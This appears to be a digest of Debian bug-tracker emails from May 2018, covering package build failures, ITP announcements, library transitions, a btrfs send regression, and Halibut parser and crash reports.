Hi Juliusz and Stéphane,

Stéphane Glondu  writes:

> On 14/05/2018 00:46, Juliusz Chroboczek wrote:
>> Babeld-1.8.1 has a rather serious bug, that makes it unsuitable for
>> traditional IPv4 networks (as opposed to pure meshes).  1.8.2 fixes the
>> bug.
>> 
>>   
>> https://github.com/jech/babeld/commit/157e44a4a507786f5626070d9b1f3e371389
>> 
>> Please upgrade to 1.8.2.
>
> I can't sign Debian stuff before the next keyring update (I've created a
> new subkey last week). Benda, can you take care of that?

Thanks for kindly sending this reminder.

I have just uploaded 1.8.2-1.

But I have forgot the mention this bug number in the changelog.  Closing
this bug manually.

Cheers,
Benda


Bug#897536: mustache.js: FTBFS: make[1]: rake: Command not found

2018-05-17 Thread Martín Ferrari
On 17/05/18 09:48, Lucas Nussbaum wrote:

>> I have no issue with this decision.
> Same here. But it's strange: given my workflow, I think that the build
> was retried on a idle server after the initial failure.

Not sure what happened, but you can see there is some timing info in
some tests, and the run that failed was 3 times slower than the other,
and the tests that passed were very close to the cut-off:

Passing:

  Mustache CLI
✓ writes syntax hints into stderr when runned with wrong number of
arguments (531ms)
✓ writes hints about JSON parsing errors when given invalid JSON (639ms)
✓ writes module version into stdout when runned with --version (605ms)
✓ writes module version into stdout when runned with -v (550ms)

Failing:

  Mustache CLI
✓ writes syntax hints into stderr when runned with wrong number of
arguments (1795ms)
1) writes hints about JSON parsing errors when given invalid JSON
✓ writes module version into stdout when runned with --version (1828ms)
✓ writes module version into stdout when runned with -v (1931ms)


-- 
Martín Ferrari (Tincho)



Bug#898914: imagemagick: FTBFS on any-i386

2018-05-17 Thread Svante Signell
Source: imagemagick
Version: 6.9.9.39+dfsg-1
Severity: important
Tags: patch, i386
User: debian-h...@lists.debian.org, debian-...@lists.debian.org
Usertags: hurd

Hi,

imagemagick currently FTBFS on any-i386 architectures:
i386, hurd-i386 and kfrebsd-i386. 

The attached patch: 0019-Fix-FTBFS-on-any-i386.patch
makes the tests succeed so that the build completes.

The attached patch has been used to successfully build packages for linux-i386,
linux-amd64 and hurd-i386. The reason to build on linux-amd64 is to check that
the patch does not affect 64-bit architectures.

Thanks!--- a/Magick++/tests/attributes.cpp.orig	2018-03-18 15:15:56.0 +0100
+++ b/Magick++/tests/attributes.cpp	2018-05-08 16:06:41.820001000 +0200
@@ -154,7 +154,7 @@
 //
 
 // Test default value.
-if ( image.backgroundColor() != ColorRGB("white") )
+if ( image.backgroundColor() != string(ColorRGB("white")) )
   {
 	++failures;
 	cout << "Line: " << __LINE__ << ", backgroundColor default ("
@@ -1068,7 +1068,7 @@
 // pixelColor
 //
 // Test default
-if ( image.pixelColor(40,60) != canvasColor )
+if ( image.pixelColor(40,60) != string(canvasColor) )
   {
 	++failures;
 	cout << "Line: " << __LINE__ << ", pixelColor default ("


Bug#898915: ITP: evenement -- Very simple event dispatching library for PHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: evenement
  Version : 3.0.1
  Upstream Author : Igor Wiedler
* URL : https://github.com/igorw/evenement
* License : MIT
  Programming Lang: PHP
  Description : Very simple event dispatching library for PHP

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9cnkxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTylq45D/9vq1hc
g8Zr2kcl7xzgx2M2y0A0zO9LLIW4IkYM2I9CUJNdLL/v+1h21U2j+i/u6Fk3Gv16
FO8vqC4u2klAuv93MuJp6bMbRhRryStV5MIBZ6BYT1thIBMu/bmhIU34akqYpO/L
JN+579VphnwrVCYcfen5jUhmYUZgWHvwucGd2pSSSe7IleC5Wu2+xv/OkaWwvaLG
0HuORFNkUS9pDCz83+s3dhp3VvwX1sOtUeVhKazLRxB9yqikYWJ+sjJOn9T1yOPe
9UexmWEnAxqiFXE6ra85L5LCRce+RReWLtblld+P6JCvsTyKp0fDhptil1N++UAj
Ru/IjSffIQPZ3GOdP9S2wfn9BS9OPe82KX39qIgNgP/ayP1PPpqw07lnrXy/bREJ
deEJc1zhGMSPxhawzqG+ekWFeoXdO5lwigmgEJMPSRys1G3KQIisZZ2rkMXF8rx/
DsRqmTf7YEZwadxXksgwEeyVCMnRVIQJX1LqkIxeQ+dg84j5Cjal+lZlowF5Cn/Z
Yv2cM0M0SY1scIh5ydhGbCS551icKGAEzwcU4XagoZOejz+4qF9Xx80meSo2aaJ1
Iv49YeEnH1bPz4o+vhhjzy5qd3kBB+xKB7pCDpq7ve1v+YXnp+Rj5g+wgxve6IK9
cwD6uZGVAS3oR76a/Jx18FaH0jy9xC7s70HOsQ==
=vnlF
-END PGP SIGNATURE-



Bug#898916: dh-autoreconf: Unconditionally invokes gtkdocize without dependency

2018-05-17 Thread Andreas Metzler
Package: dh-autoreconf
Version: 18
Severity: serious

Hello,

Version 18 invokes gtkdocize without a way to disable this, although
it does not depend on gtk-doc-tools.

This breaks e.g. building libtasn1-6 which has gtk-doc-tools only in
Build-Depends-Indep because it uses --disable-gtk-doc on binary-only
builds.

Please either add a dependency or(and) add a way to disable running
gtkdocize.

Thanks, cu Andreas
-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'



Bug#887861: Enable NetworkManager.wait-online.service on diskful workstations

2018-05-17 Thread Wolfgang Schweer
On Thu, May 17, 2018 at 10:42:13AM +, Mike Gabriel wrote:
> On  Di 15 Mai 2018 22:14:22 CEST, Wolfgang Schweer wrote:
> 
> > It works for me too (virtual network, no real world deployment
> > available), if all entries except the loopback ones are commented.
> > 
> 
> So, you are saying that all network entries except loopback are commented
> out by defaut on workstation installations on buster? Also on stretch? I
> don't fully get what you mean by the last mail.

Maybe some sort of misunderstanding.
What I meant is: I tried with the loopback entries as only ones and can 
confirm that it works as well. So the mostly empty interface file could 
(should) be the default…

> Note: this is not about NIC names, but about the NIC being commented out or
> not. On stretch, I have seen auto eth0 and inet eth0 ... being active and
> thus being ignored by the NetworkManager-wait-online.service.

Same for Buster.

Wolfgang


signature.asc
Description: PGP signature


Bug#898918: transition: libsfml

2018-05-17 Thread James Cowgill
Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: transition

Hi,

libsfml 2.5 has bumped its SONAME and therefore needs a transition. The
package is in experimental and has not yet failed on any release
architecture (with mips64el and mipsel left to be built).

These packages will need binNMUs. They all build successfully.
 dolphin-emu
 extremetuxracer
 marsshooter
 python-sfml

The only other package is libcsfml but that will need a source upload
due to #898913. I maintain this package and the fix is already submitted
upstream. It is possible to fix this to work with both 2.4 and 2.5, but
I would rather use the "modern" CMake config files to fix it which are
only available in libsfml 2.5 so I would like to upload this package
after the transition has started (with strict build dependency).

The "auto-libsfml" transition in the transition tracker looks correct.

Thanks,
James

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1,
'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.16.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8),
LANGUAGE=en_GB:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled



signature.asc
Description: OpenPGP digital signature


Bug#898501: OpenStack dashboard also affected

2018-05-17 Thread Thomas Goirand
Hi,

Also, the OpenStack dashboard (aka: Horizon) is also affected. I cannot
be installed, and therefore, all its reverse build-depends are also broken.

If it's just a mater of fixing a few symlinks, I don't see how hard this
can be. Please just restore sanity in:
/usr/share/fonts-font-awesome/fonts/

and just symlink to the correct location.

Cheers,

Thomas Goirand (zigo)



Bug#898919: ITP: reactphp-cache -- Cache component for ReactPHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: reactphp-cache
  Version : 0.4.2
  Upstream Author : Igor Wiedler, Chris Boden
* URL : https://github.com/reactphp/cache
* License : MIT
  Programming Lang: PHP
  Description : Async, promise-based cache component for ReactPHP

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9eHgxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTylgEwEACHBZpo
YrS/rt9oklM8+r2dQIWo9NC19n/CDU8gRGUh0tDPCYDJhfC7rScNzcCNnP6WiT7j
THpx9wT70b/7qqlxwFGExl2UQXc0b70ZFfXf0NJxwOVHSOTmHSntVrK/hK/8YP/j
197DIZBsocAAjOcLB7BXUOrX+rhEv/B61u/kpKS30dMq2IFQExg9K2Hrgv0t36RE
96zI0BWoQVXtt1N7lf3dwXzcm5PuPjUqspxzhGXNbVVwf77NGCGqjJoJmslM21jm
cQUEj9XF/JMHmp84MA7VQ0YM7V8VNRPZM+1z1UKOgGi62oujRPAmB6P7xbKwnIqm
wexQ8lK+ljhSvYAIZJ97SmIl3CHRU6c6MXYdwLpuZFUxwWZKxoWaOKKh/OkCBzqs
qc4w7ZPiuvNODU4H6tdit9vkhv7T548KrePVKQ9WUtO0EdUuSpF6DBnWeuhQbd5q
eIGddPFkkFP8QGDkE3vokrJk1CBIqJSDEAWo2O4oFbIMIg171PR2A8fJRi8lwd4Q
op79r8KHJ8yImYUdul7tcOOgSDELFnIl8Cm6Vctg07/ZxWp3GJWGsAxqtGqrihnd
F9d0v/64mDxtZMOuqFeRRYBtkrVgK3e+XITCk2s35/LeIXrAuYtwNcjscz/arJkc
IBLeOT3adnhZJ/L7F9IKl5maNbb87IAO0317Rg==
=we7h
-END PGP SIGNATURE-



Bug#898920: mailman3-web: FontAwesome.otf missing

2018-05-17 Thread Magnus Frühling
Package: mailman3-web
Version: 0+20170523-14
Severity: important

Dear Maintainer,

   * What led up to the situation?
 Tried to install the mailman3-web package via the mailman3-full package. I 
could not finish the install the mailman3-web package cause off the missing of 
the FontAwesome.


-- System Information:
Debian Release: 9.4
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'unstable'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.16.0-1-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=UTF-8 (charmap=UTF-8) (ignored: LC_ALL set 
to de_DE.UTF-8), LANGUAGE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to 
de_DE.UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages mailman3-web depends on:
ii  dbconfig-sqlite3  2.0.9
ii  debconf [debconf-2.0] 1.5.61
ii  lsb-base  9.20161125
ii  node-less 1.6.3~dfsg-2
ii  python2.7.13-2
ii  python-django-hyperkitty  1.1.4-4
ii  python-django-postorius   1.1.2-3
ii  python-psycopg2   2.7.4-1
ii  python-whoosh 2.7.4+git6-g9134ad92-1
ii  ruby-sass 3.5.3-1
ii  ucf   3.0036
ii  uwsgi 2.0.15-11
ii  uwsgi-plugin-python   2.0.15-11

Versions of packages mailman3-web recommends:
pn  libapache2-mod-proxy-uwsgi | nginx  

Versions of packages mailman3-web suggests:
pn  postgresql | default-mysql-server | virtual-mysql-server  

-- debconf information:
  mailman3-web/app-password-confirm: (password omitted)
  mailman3-web/superuser-password: (password omitted)
  mailman3-web/password-confirm: (password omitted)
  mailman3-web/dbconfig-upgrade: true
  mailman3-web/missing-db-package-error: abort
  mailman3-web/passwords-do-not-match:
  mailman3-web/emailname: localhost.local
  mailman3-web/django-site: example.com
* mailman3-web/database-type: sqlite3
  mailman3-web/purge: false
* mailman3-web/dbconfig-install: true
  mailman3-web/restart-webserver: true
  mailman3-web/upgrade-error: abort
  mailman3-web/superuser-mail: root@localhost
  mailman3-web/dbconfig-reinstall: false
  mailman3-web/install-error: abort
  mailman3-web/superuser-name: admin
  mailman3-web/internal/reconfiguring: false
  mailman3-web/nginx-choice:
  mailman3-web/upgrade-backup: true
  mailman3-web/db/basepath: /var/lib/mailman3/web
  mailman3-web/remove-error: abort
  mailman3-web/configure-webserver: none
  mailman3-web/internal/skip-preseed: false
  mailman3-web/dbconfig-remove: true
  mailman3-web/db/dbname: mailman3web.db



Bug#898921: chown: please consider dropping the dot separator fallback

2018-05-17 Thread Ferenc Wágner
Package: coreutils
Version: 8.26-3
Severity: wishlist

Dear Maintainer,

When asked to enable user names containing dots, I encountered
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=604242#20.
When do you think chown could stop accepting the dot separator?
While it could break old scripts (only : is documented for quite
some time now), it would also enhance Debian's POSIX conformance.
-- 
Thanks,
Feri.



Bug#898922: ITP: reactphp-stream -- Event-driven streams for non-blocking I/O in ReactPHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: reactphp-stream
  Version : 0.7.7
  Upstream Author : Igor Wiedler, Chris Boden
* URL : https://github.com/reactphp/stream
* License : MIT
  Programming Lang: PHP
  Description : Event-driven streams for non-blocking I/O in ReactPHP

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9fUYxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTylnPbD/4n9w1A
AWePUABMsKC2thDQv/pd/c12hanU0yFnTRtoCB2Tee9N0NasC+OfAZO+leu0xlFj
xSHqecyOvRDgnU0Qzf/ZvOgbik20WAYjl0nAlwbUK1YPmO/xGnLPXPixxpgLv/7w
3uG0KykQfjcMLUBNoERofaloBEqYIe1Is3RlB0E35ulq9dO4c6symd2vceBLZEph
zVayxRZnMVlhhxyE3mtoW8RyGJtYpxgoTDGAZPnFt96GnCFmrDJK5lkf9Sk5g6he
pTsUE5vLZmdF48WPxD7lVuyob8wWHVA5vdYTp3P/8TS6Y5DQ8/qhJpu2LyXDW+JA
o3ix6BpYZ5wQYIN/8lJp94XFPKt8Q//REV9DLxOTqbMopD5qHb3wwHECEjbhdNKh
c5hT30eiLbod0ozZQZCBWJiJrm0799K6ByF/RhhQpNaI9YJtyyosyLhd74ppBvPu
i29loOgJuluKSY0qoQBNCg9tSwYzDBmjfgPFIz6oGDMbMgQO3TWGlupNQDyacuU0
V6rSDYC8BhQy5Lxa5M10qWe1LgEs022Cz8mDdmiXGZ5cN7XspYTYfxjgg7Ni/S0J
1HuP6RCoqessWVu73LKbYUyEM4jW+06Vp/nlnJASzMQQM9FFFRczWNuGc1hGNy31
zE2/cFLa3gVhUWIgo2rHsuQLjG0IxZ7fzAb/mA==
=XwsE
-END PGP SIGNATURE-



Bug#898923: halibut: doesn't properly handle file starting with an empty line

2018-05-17 Thread C. Masloch
Package: halibut
Version: 1.2-2

(I didn't find a bug tracker for Halibut upstream, so I'm reporting this
here and I put Simon Tatham / you into the CC.)

A simple test file fails to properly parse a \cfg command as the first
non-empty line of a file, if the first line is empty.

===
~/test/halibug$ halibut --version
Halibut, version 1.2
~/test/halibug$ cat test1.src

\cfg{chapter}{Section}

~/test/halibug$ halibut --precise test1.src --text
test1.src:2:1: command `cfg' unexpected in mid-paragraph
test1.src:2:5: brace character unexpected in mid-paragraph
test1.src:2:14: brace character unexpected in mid-paragraph
~/test/halibug$ cat output.txt
chapterSection

~/test/halibug$
===

However, if there are two or more empty lines at the file's beginning,
or none, it works as expected.

===
~/test/halibug$ cat test1.src



\cfg{chapter}{Section}

~/test/halibug$ halibut --precise test1.src --text
~/test/halibug$ cat test1.src


\cfg{chapter}{Section}

~/test/halibug$ halibut --precise test1.src --text
~/test/halibug$ cat test1.src

\cfg{chapter}{Section}

~/test/halibug$ halibut --precise test1.src --text
test1.src:2:1: command `cfg' unexpected in mid-paragraph
test1.src:2:5: brace character unexpected in mid-paragraph
test1.src:2:14: brace character unexpected in mid-paragraph
~/test/halibug$ cat test1.src
\cfg{chapter}{Section}

~/test/halibug$ halibut --precise test1.src --text
~/test/halibug$
===

(I'll be shortly reporting another bug (a crash), but wanted to get this
one out first -- and they do not seem to be related.)

Regards,
ecm



Bug#898918: transition: libsfml

2018-05-17 Thread Emilio Pozuelo Monfort
Control: tags -1 confirmed

On 17/05/18 14:32, James Cowgill wrote:
> Package: release.debian.org
> Severity: normal
> User: release.debian@packages.debian.org
> Usertags: transition
> 
> Hi,
> 
> libsfml 2.5 has bumped its SONAME and therefore needs a transition. The
> package is in experimental and has not yet failed on any release
> architecture (with mips64el and mipsel left to be built).
> 
> These packages will need binNMUs. They all build successfully.
>  dolphin-emu
>  extremetuxracer
>  marsshooter
>  python-sfml
> 
> The only other package is libcsfml but that will need a source upload
> due to #898913. I maintain this package and the fix is already submitted
> upstream. It is possible to fix this to work with both 2.4 and 2.5, but
> I would rather use the "modern" CMake config files to fix it which are
> only available in libsfml 2.5 so I would like to upload this package
> after the transition has started (with strict build dependency).
> 
> The "auto-libsfml" transition in the transition tracker looks correct.

Go ahead.

Emilio



Bug#898857: [Pkg-javascript-devel] Bug#898857: also occurs in node-getpass, node-css, node-jsonstream, node-death ...

2018-05-17 Thread Dominique Dumont
On Thursday, 17 May 2018 09:41:46 CEST Paolo Greppi wrote:
> If we are sure that this is undesirable, we should also fix it in a lot of
> other places: http://deb.li/RcWh

We had a similar problem with Perl program delivered as debian packages. Now, 
Perl policy requires programs to start with #!/usr/bin/perl :

https://www.debian.org/doc/packaging-manuals/perl-policy/ch-programs.html

HTH



Bug#822989: HTTP 500 error after logging in to alioth SSO

2018-05-17 Thread Peter Palfrader
Alioth has updated their ldap server's cert.  Things should work again,
for now.

On Fri, 11 May 2018, James Lu wrote:

> Dear SSO team / server admins,
> 
> When I try to sign on to sso.debian.org with my Alioth (-guest) account,
> I am redirected to https://sso.debian.org/alioth/certs/ where I get a
> HTTP 500 error.
> 
> The contents are as follows:
> 
> 
> Internal Server Error
> The server encountered an internal error or misconfiguration and was
> unable to complete your request.
> 
> Please contact the server administrator at debian-ad...@lists.debian.org
> to inform them of the time this error occurred, and the actions you
> performed just before this error.
> 
> More information about this error may be available in the server error log.
> 
> Apache Server at sso.debian.org Port 443
> 
> 
> 
> My password does not contain any non-ASCII characters, so I believe this
> is a separate issue from bug 780460 (which was mentioned earlier in the
> discussion for bug 822989).
> 
> Best,
> James
> 




-- 
|  .''`.   ** Debian **
  Peter Palfrader   | : :' :  The  universal
 https://www.palfrader.org/ | `. `'  Operating System
|   `-https://www.debian.org/



Bug#898921: chown: please consider dropping the dot separator fallback

2018-05-17 Thread Michael Stone

On Thu, May 17, 2018 at 02:56:00PM +0200, Ferenc Wágner wrote:

When asked to enable user names containing dots, I encountered
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=604242#20.
When do you think chown could stop accepting the dot separator?


No

While it could break old scripts 


that's why


it would also enhance Debian's POSIX conformance.


It would not--POSIX does not disallow the . syntax.

Note that the discussion in 604242 is wrong: coreutils will only fall 
back to the . syntax *if there is a . which is not in a valid username*. 
Usernames with .'s will work perfectly well as-is.


Mike Stone



Bug#898925: ITP:golang-gopkg-data-dog-go-sqlmock.v1

2018-05-17 Thread mangesh divate
Package: wnpp
Severity: wishlist
Owner: Mangesh Divate  

* Package name: golang-gopkg-data-dog-go-sqlmock.v1
  Version : 1.3.0-1
  Upstream Author : DATA-DOG
* URL : https://github.com/DATA-DOG/go-sqlmock
* License : BSD
  Programming Lang: Go
  Description : Sql mock driver for golang to test database interactions
  sqlmock is a mock library implementing sql/driver. Which has one and
only purpose
- to simulate any sql driver behavior in tests, without needing a
  real database connection. It helps to maintain correct TDD workflow.



Bug#898924: btrfs-progs: btrfs send fails with ERROR: not on mount point: /

2018-05-17 Thread Thomas Krennwallner
Package: btrfs-progs
Version: 4.16.1-2
Severity: normal

btrfs-progs 4.16.1 introduced a regression in btrfs send.  After
creating a snapshot of / in /var/backups, I've sent an incremental
stream to a filesystem mounted on /backups:

% btrfs subvolume snapshot -r / /var/backups/weekly-20180517T123915Z
Create a readonly snapshot of '/' in '/var/backups/weekly-20180517T123915Z'

% btrfs send -p /var/backups/monthly /var/backups/weekly-20180517T123915Z | 
btrfs receive /backups
ERROR: not on mount point: /
ERROR: empty stream is not considered valid

In the pipeline above, btrfs send always fails with "ERROR: not on mount
point: /".

The problem seems to be related to bug
https://github.com/kdave/btrfs-progs/issues/96

Pull request https://github.com/kdave/btrfs-progs/pull/138 should fix
this regression.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.16.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages btrfs-progs depends on:
ii  libblkid1  2.32-0.1
ii  libc6  2.27-3
ii  liblzo2-2  2.10-0.1
ii  libuuid1   2.32-0.1
ii  zlib1g 1:1.2.11.dfsg-1

btrfs-progs recommends no packages.

Versions of packages btrfs-progs suggests:
pn  duperemove  

-- no debconf information



Bug#898926: thunderbird: Keeps setting itself as default browser

2018-05-17 Thread Matijs van Zuijlen
Package: thunderbird
Version: 1:52.7.0-1
Severity: normal

Thunderbird keeps setting itself as default browser, causing local html files
to be opened as attachment to a new email message, and links to be
opened no-where.

I'm using Gnome as my desktop environment, and want to have Firefox be
its default browser.

Thunderbird is not a browser so shouldn't even try to make itself the
default.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.16.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_IE.utf8, LC_CTYPE=en_IE.utf8 (charmap=UTF-8), 
LANGUAGE=en_IE.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages thunderbird depends on:
ii  debianutils   4.8.6
ii  fontconfig2.13.0-5
ii  libatk1.0-0   2.28.1-1
ii  libc6 2.27-3
ii  libcairo-gobject2 1.15.10-3
ii  libcairo2 1.15.10-3
ii  libdbus-1-3   1.12.8-2
ii  libdbus-glib-1-2  0.110-2
ii  libevent-2.1-62.1.8-stable-4
ii  libffi6   3.2.1-8
ii  libfontconfig12.13.0-5
ii  libfreetype6  2.8.1-2
ii  libgcc1   1:8.1.0-3
ii  libgdk-pixbuf2.0-02.36.11-2
ii  libglib2.0-0  2.56.1-2
ii  libgtk-3-03.22.30-1
ii  libhunspell-1.6-0 1.6.2-1+b1
ii  libpango-1.0-01.42.1-1
ii  libpangocairo-1.0-0   1.42.1-1
ii  libpangoft2-1.0-0 1.42.1-1
ii  libpixman-1-0 0.34.0-2
ii  libstartup-notification0  0.12-5
ii  libstdc++68.1.0-3
ii  libvpx5   1.7.0-3
ii  libx11-6  2:1.6.5-1
ii  libx11-xcb1   2:1.6.5-1
ii  libxcb-shm0   1.13-1
ii  libxcb1   1.13-1
ii  libxcomposite11:0.4.4-2
ii  libxdamage1   1:1.1.4-3
ii  libxext6  2:1.3.3-1+b2
ii  libxfixes31:5.0.3-1
ii  libxrender1   1:0.9.10-1
ii  libxt61:1.1.5-1
ii  psmisc23.1-1+b1
ii  x11-utils 7.7+4
ii  zlib1g1:1.2.11.dfsg-1

Versions of packages thunderbird recommends:
ii  hunspell-en-gb [hunspell-dictionary]  1:6.0.3-3
ii  hunspell-en-us [hunspell-dictionary]  1:2018.04.16-1
ii  hunspell-en-za [hunspell-dictionary]  1:6.0.3-3
ii  hunspell-nl [hunspell-dictionary] 2:2.10-6
pn  lightning 
ii  myspell-en-au [myspell-dictionary]2.1-5.4

Versions of packages thunderbird suggests:
ii  apparmor  2.12-4
ii  fonts-lyx 2.3.0-2
ii  libgssapi-krb5-2  1.16-2

-- no debconf information



Bug#898927: ITP: reactphp-dns -- Asynchronous DNS resolver for ReactPHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: reactphp-dns
  Version : 0.4.13
  Upstream Author : Igor Wiedler, Chris Boden
* URL : https://github.com/reactphp/dns
* License : MIT
  Programming Lang: PHP
  Description : Asynchronous DNS resolver for ReactPHP

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9iLwxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTylmNqEAC4lc3X
bDcJ3RiOPugecXa/KpgpbHkLhX7lUs+AoA3enw1JPQkzqVussX7hG85JPJaUnGtf
yTdCVPKlcgjM1HIQUq8c13FSswIgxCC0ebmFaagM4wJQ1mv14sHIxJkFIJEQ0a4q
v4sIsrh/R1Z3sF1aM9qkInKELaTKkJilFdUF8esM1sBWBv1cbqXMudV+FeJqjg6n
GgkdssziTpXQucXEt9eXb8iWkRkj3VxllJF2D0HxEZhLmVaeVdh3S2HM5u8BPtV0
2Z3/vd0a1MmvDdXCM5+07wpfjN1+4GbQZCNpWIaUZ6NBzRz2+GOObzfstfHFnM7K
ZOLr4bPQSP2GaPbtefeZDlwpEYMICkmOBrLWN06kCaEXnVt/nc0M2FLlhbp+eqE5
1W2KRY6qR/OIMJij5ypCu/seng95IbhGwAKy3atv3lb2ZdsidD5Kx48qmF3YxqcF
309jjq4mhfdbuBWVsW839cxkmlZC87bVStHAe75YFODeZDYdX/PAcS2h9IThmBPP
t/ObbuDnT3ycrTUwJaD8CxqEF0GCnAyZslCyVhV3l6vlUPJe9idXx+biBuxtIQY/
VAFuRRV7h2XKnbzsdwFa0uvfWpF7F64AeceLP9AsReHVmeB/KnI/k0GV6OU9o6Qr
7HmTJZ4PJMcytYRwzQAR8Rg/V4B3RfnJ9NU7WA==
=zWFo
-END PGP SIGNATURE-



Bug#898928: halibut: crashes when generating chm or html (with a non-resolving cross-reference)

2018-05-17 Thread C. Masloch
Package: halibut
Version: 1.2-2

(I didn't find a bug tracker for Halibut upstream, so I'm reporting this
here and I put Simon Tatham / you into the CC.)

A simple test file, in two variants, causes a segmentation fault either
when outputting --chm (in both variants), or when outputting --html
(only in the variant with a non-resolving cross-reference included).

===
~/test/halibug$ halibut --version
Halibut, version 1.2
~/test/halibug$ cat test1.src
\cfg{chapter}{Section}

\b If \c{EAX} is zero on input, \c{EAX} on output holds the maximum
acceptable input value of \c{EAX}, and \c{EBX:EDX:ECX} contain the
string \c{"GenuineIntel"} (or not, if you have a clone processor).
That is to say, \c{EBX} contains \c{"Genu"} (in NASM's own sense of
character constants, described in \k{chrconst}), \c{EDX} contains
\c{"ineI"} and \c{ECX} contains \c{"ntel"}.
~/test/halibug$ halibut --precise test1.src --chm
test1.src:7:35: unable to resolve cross-reference to `chrconst'
test1.src:7:35: unable to resolve cross-reference to `chrconst'
Segmentation fault
~/test/halibug$ halibut --precise test1.src --html
test1.src:7:35: unable to resolve cross-reference to `chrconst'
test1.src:7:35: unable to resolve cross-reference to `chrconst'
Segmentation fault
~/test/halibug$ cat test1.src
\cfg{chapter}{Section}

\b If \c{EAX} is zero on input, \c{EAX} on output holds the maximum
acceptable input value of \c{EAX}, and \c{EBX:EDX:ECX} contain the
string \c{"GenuineIntel"} (or not, if you have a clone processor).
That is to say, \c{EBX} contains \c{"Genu"} (in NASM's own sense of
character constants\#{, described in \k{chrconst}}), \c{EDX} contains
\c{"ineI"} and \c{ECX} contains \c{"ntel"}.
~/test/halibug$ halibut --precise test1.src --chm
Segmentation fault
~/test/halibug$ halibut --precise test1.src --html
~/test/halibug$ xdg-open test1.htm
~/test/halibug$
===

Regards,
ecm



Bug#898892: Please enable regex/pattern matching support in journalctl

2018-05-17 Thread Michael Biebl
Control: reassign 890265 src:systemd
Control: forcemerge -1 890265

Am 17.05.2018 um 09:36 schrieb Laurent Bigonville:
> Source: systemd
> Version: 238-4
> Severity: normal
> 
> Hi,
> 
> Would be nice is the regex/pattern matching support was enabled in
> journalctl.
> 
> It requires libpcre2

Duplicate of #890265


-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature


Bug#898929: verdigris: Binary package should be arch: all

2018-05-17 Thread Lisandro Damián Nicanor Pérez Meyer
Source: verdigris
Version: 1.0-1
Severity: normal

Hi! I clearly missed the fact that the binary package should have been
arch: all when reviewing. So here's a bug for that :-)

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (500, 'unstable-debug'), (500, 
'testing-debug'), (500, 'buildd-unstable'), (500, 'testing'), (500, 'stable'), 
(1, 'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
